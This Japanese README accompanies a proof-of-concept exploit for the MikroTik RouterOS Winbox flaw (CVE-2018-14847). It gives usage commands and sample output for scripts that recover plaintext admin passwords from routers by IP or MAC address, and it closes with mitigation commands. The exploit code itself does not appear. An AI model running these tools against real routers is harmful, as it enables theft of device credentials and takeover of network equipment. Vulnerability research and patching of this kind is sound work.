
MikroTik RouterOS Winbox の認証なし任意ファイル読み取り/書き込み脆弱性
これは、クリティカルなWinBoxの脆弱性(CVE-2018-14847)の概念実証であり、プレーンテキストのパスワードの任意のファイル読み取りを可能にします。
https://n0p.me/winbox-bug-dissection/
このスクリプトはPython 2.x以下では動作しません。
このスクリプトは、コマンドラインでシンプルな引数を使って簡単に使用できます。
脆弱性を悪用してパスワードを読み取ります。
python3 WinboxExploit.py <IP-ADDRESS> [PORT]
例:
$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord


デバイスがIPアドレスを持っていなくてもファイルを抽出できます。
ローカルに接続されたMikrotikデバイスの簡単な検出チェック。
python3 MACServerDiscover.py
例:
$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)
aa:bb:cc:dd:ee:ff
aa:bb:cc:dd:ee:aa
脆弱性を悪用してパスワードを読み取ります。
python3 MACServerExploit.py <MAC-ADDRESS>
例:
$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff
User: admin
Pass: Th3P4ssWord
2015-05-28から2018-04-20までのすべてのRouterOSバージョンがこのエクスプロイトの影響を受けます。
Mikrotikデバイスで動作するRouterOSバージョン:
詳細情報: https://blog.mikrotik.com/security/winbox-vulnerability.html
/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop
/tool mac-server mac-winbox